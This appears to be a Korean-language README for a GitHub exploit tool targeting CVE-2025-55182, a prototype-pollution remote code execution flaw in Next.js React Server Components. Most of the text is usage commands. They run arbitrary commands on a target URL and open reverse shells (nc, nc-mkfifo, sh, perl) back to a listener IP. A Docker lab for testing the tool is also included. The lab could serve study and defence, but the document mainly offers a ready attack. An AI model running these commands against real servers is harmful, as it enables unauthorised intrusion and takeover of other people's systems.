mr-destroyer/cve-2025-55182CVE-2025-55182용 익스플로잇으로, Next.js React Server Components의 프로토타입 오염을 통해 원격 코드 실행(RCE)을 가능하게 하며, 명령 실행 및 리버스 셸 기능을 포함합니다.
프로토타입 오염을 통해 원격 코드 실행이 가능하도록 하는 CVE-2025-55182 취약점을 악용합니다.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: 확인할 URL/호스트 (필수)-c, --cmd: 실행할 명령-r, --reverse: 리버스 셸 모드 활성화-l, --lhost: 리버스 셸용 리스너 호스트-p, --lport: 리버스 셸용 리스너 포트-P, --payload: 리버스 셸 페이로드 유형: nc, nc-mkfifo, sh, perl (기본값: nc)--timeout: 요청 제한 시간(초) (기본값: 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
lab/ 디렉터리에는 익스플로잇을 테스트하기 위한 완전한 Docker 설정이 포함되어 있습니다.
cd lab
docker-compose up -d
이 명령은 두 개의 서비스를 시작합니다:
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo